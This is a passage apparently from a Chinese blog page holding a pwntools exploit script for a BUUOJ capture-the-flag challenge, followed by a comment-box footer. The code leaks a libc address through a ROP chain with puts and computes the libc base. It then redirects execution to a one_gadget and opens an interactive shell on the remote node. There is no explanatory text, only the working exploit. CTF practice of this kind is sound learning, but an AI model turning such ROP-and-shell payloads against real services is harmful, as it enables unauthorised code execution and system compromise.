1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import* from LibcSearcher import * p=remote("node5.buuoj.cn",25691)
context.log_level="debug" libc=ELF('./libc.So.6') bss=0x602400 pop_rdi=0x401ab3 puts_plt=0x4018b5 puts_got=0x602028 payload1=b'admin\x00\x00\x00' payload1+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) p.sendafter('>',payload1)
payload2=b'admin\x00\x00\x00'+p64(0)*3+p64(bss) p.sendafter('Pass',payload2) p.recvuntil('BaileGeBai\n') puts_got=u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00')) print(hex(puts_got)) base=puts_got-libc.sym['puts'] one=[0x45226,0x4527a,0xf03a4,0xf1247] one_gadget=base+one[1]
sleep(1)
payload1=b'admin\x00\x00\x00'*3+p64(one_gadget)
p.sendafter('>',payload1) payload2=b'admin\x00\x00\x00'*4+p64(bss+0x10) p.sendafter('Pass',payload2)
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~